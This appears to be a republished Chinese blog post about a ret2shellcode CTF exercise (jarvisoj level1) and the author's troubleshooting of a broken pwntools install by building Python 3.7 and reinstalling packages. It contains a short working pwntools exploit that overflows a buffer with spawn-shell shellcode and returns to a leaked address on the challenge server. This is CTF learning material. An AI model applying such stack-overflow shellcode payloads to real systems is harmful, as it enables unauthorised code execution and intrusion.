热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

python3pwntools教程_记一次five熬夜重装pwntools

今天是个好日子,今天是12.21,冬至今天不是好日子,做一道简单题的时候发现pwntools没装好呜呜呜这是一道基础的ret2shellc

今天是个好日子,今天是12.21,冬至

今天不是好日子,做一道简单题的时候发现pwntools没装好呜呜呜

这是一道基础的ret2shellcode,但是也不会做的我直奔wp去抄exp

from pwn import *

p = remote('pwn2.jarvisoj.com', 9877)

#p = process("./level1")

#接收从下标为第14位到倒数第二位的字符串

text = p.recvline()[14:-2]

print text[14:-2]

#将text字符串通过int函数转换为16进制的地址,作为跳转的地址

buf_addr = int(text, 16)

shellcode = asm(shellcraft.sh())

payload = 'a' * (0x88+4-len(shellcode)) + shellcode + p32(buf_addr)

p.send(payload)

p.interactive()

然后运行,报错:

Traceback (most recent call last):

File "", line 1, in

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__

return getattr(m, key)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__

return getattr(m, key)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 80, in __getattr__

real = internal.make_function(key, self._shellcodes[key], self._dir)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 114, in make_function

template = lookup_template(path)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 79, in lookup_template

init_mako()

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 14, in init_mako

from mako.lookup import TemplateLookup

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/lookup.py", line 12, in

from mako import exceptions

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 305, in

_install_highlighting()

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 300, in _install_highlighting

_install_pygments()

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 284, in _install_pygments

from mako.ext.pygmentplugin import syntax_highlight # noqa

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/ext/pygmentplugin.py", line 8, in

from pygments.formatters.html import HtmlFormatter

File "/usr/local/lib/python2.7/dist-packages/Pygments-2.6.1-py2.7.egg/pygments/formatters/html.py", line 554

file=sys.stderr)

^

SyntaxError: invalid syntax

发现是shellcraft.sh()这里出了问题

e764b9bd30c50ab081312be19b884ce3.png

啊这。。。这还能怎么办呢,重装pwntools吧呜呜呜

但是又遇到了问题

b1c192a684c4500a12c860697d39e811.png

那,只好用python3安装pwntools了

首先安装vm tools

sudo apt-get install vim

执行所有升级

sudo apt-get update

sudo apt-get upgrade -y

安装编译Python源程序所需的包

sudo apt install build-essential -y

sudo apt install libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev -y

sudo apt-get install zlib1g-dev

下载Python 3.7源程序压缩包

wget https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tgz

解压缩

tar -xzvf Python-3.7.1.tgz

配置

cd Python-3.7.1

./configure --enable-optimizations

编译和安装Python 3.7

sudo make

sudo make install#这里遇到了报错,根据提示改成了sudo -H make install,完成

安装、升级、卸载pip和更换pip源

sudo apt-get install python3-pip

sudo pip3 install --upgrade pip#这条报错,改成-H)之后发现没有影响

sudo apt-get remove python3-pip

sudo pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple#这条也是warning,改成-H了,好像干了点坏事)

ac414d709e4611268db3947555051d6c.png

32b758e23e6519905cb854da8bd09c16.png

安装git

sudo apt install git

进行git配置

sudo git config --global user.name ‘自定义用户名’

sudo git config --global user.email ‘邮箱’

查看配置

git config –list

pwntools

sudo apt-get install python python-pip python-dev libssl-dev libffi-dev build-essential#这条依旧报错,然后有个手滑,加了-H

sudo pip install -U setuptools

sudo pip install --upgrade pip

sudo pip install --upgrade pwntools#上面三条全部报错,没加-H,然后飙红了,给前两条加了最后一条没加,貌似成功了

492c68031297cde4e7a75d9ffb3882e9.png

b2471b3f42a8a37c6dcecd554792db29.png

0894a90ff856050fd9f0c4f59590bed6.png

装好了,还是比较蠢的2333

原文链接:https://blog.csdn.net/qq_49914719/article/details/111503762



推荐阅读
  • [大整数乘法] java代码实现
    本文介绍了使用java代码实现大整数乘法的过程,同时也涉及到大整数加法和大整数减法的计算方法。通过分治算法来提高计算效率,并对算法的时间复杂度进行了研究。详细代码实现请参考文章链接。 ... [详细]
  • 【shell】网络处理:判断IP是否在网段、两个ip是否同网段、IP地址范围、网段包含关系
    本文介绍了使用shell脚本判断IP是否在同一网段、判断IP地址是否在某个范围内、计算IP地址范围、判断网段之间的包含关系的方法和原理。通过对IP和掩码进行与计算,可以判断两个IP是否在同一网段。同时,还提供了一段用于验证IP地址的正则表达式和判断特殊IP地址的方法。 ... [详细]
  • 如何自行分析定位SAP BSP错误
    The“BSPtag”Imentionedintheblogtitlemeansforexamplethetagchtmlb:configCelleratorbelowwhichi ... [详细]
  • 生成式对抗网络模型综述摘要生成式对抗网络模型(GAN)是基于深度学习的一种强大的生成模型,可以应用于计算机视觉、自然语言处理、半监督学习等重要领域。生成式对抗网络 ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • 本文介绍了九度OnlineJudge中的1002题目“Grading”的解决方法。该题目要求设计一个公平的评分过程,将每个考题分配给3个独立的专家,如果他们的评分不一致,则需要请一位裁判做出最终决定。文章详细描述了评分规则,并给出了解决该问题的程序。 ... [详细]
  • 关键词:Golang, Cookie, 跟踪位置, net/http/cookiejar, package main, golang.org/x/net/publicsuffix, io/ioutil, log, net/http, net/http/cookiejar ... [详细]
  • 本文介绍了机器学习手册中关于日期和时区操作的重要性以及其在实际应用中的作用。文章以一个故事为背景,描述了学童们面对老先生的教导时的反应,以及上官如在这个过程中的表现。同时,文章也提到了顾慎为对上官如的恨意以及他们之间的矛盾源于早年的结局。最后,文章强调了日期和时区操作在机器学习中的重要性,并指出了其在实际应用中的作用和意义。 ... [详细]
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • (三)多表代码生成的实现方法
    本文介绍了一种实现多表代码生成的方法,使用了java代码和org.jeecg框架中的相关类和接口。通过设置主表配置,可以生成父子表的数据模型。 ... [详细]
  • 解决Sharepoint 2013运行状况分析出现的“一个或多个服务器未响应”问题的方法
    本文介绍了解决Sharepoint 2013运行状况分析中出现的“一个或多个服务器未响应”问题的方法。对于有高要求的客户来说,系统检测问题的存在是不可接受的。文章详细描述了解决该问题的步骤,包括删除服务器、处理分布式缓存留下的记录以及使用代码等方法。同时还提供了相关关键词和错误提示信息,以帮助读者更好地理解和解决该问题。 ... [详细]
  • 本文介绍了使用readlink命令获取文件的完整路径的简单方法,并提供了一个示例命令来打印文件的完整路径。共有28种解决方案可供选择。 ... [详细]
  • 使用Spring AOP实现切面编程的步骤和注意事项
    本文介绍了使用Spring AOP实现切面编程的步骤和注意事项。首先解释了@EnableAspectJAutoProxy、@Aspect、@Pointcut等注解的作用,并介绍了实现AOP功能的方法。然后详细介绍了创建切面、编写测试代码的过程,并展示了测试结果。接着讲解了关于环绕通知的使用方法,并修改了FirstTangent类以添加环绕通知方法。最后介绍了利用AOP拦截注解的方法,只需修改全局切入点即可实现。使用Spring AOP进行切面编程可以方便地实现对代码的增强和拦截。 ... [详细]
  • SQL Server 内存中OLTP内部机制概述(一)
    内存中OLTP(项目名为“Hekaton”)是一个新的完全集成到SQLServer中的数据库引擎组件。它专为访问内存常驻数据的OLTP工作负荷而进行优化。内存中OLTP有助于OLT ... [详细]
  • 使用freemaker生成Java代码的步骤及示例代码
    本文介绍了使用freemaker这个jar包生成Java代码的步骤,通过提前编辑好的模板,可以避免写重复代码。首先需要在springboot的pom.xml文件中加入freemaker的依赖包。然后编写模板,定义要生成的Java类的属性和方法。最后编写生成代码的类,通过加载模板文件和数据模型,生成Java代码文件。本文提供了示例代码,并展示了文件目录结构。 ... [详细]
author-avatar
手机用户2502878095
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有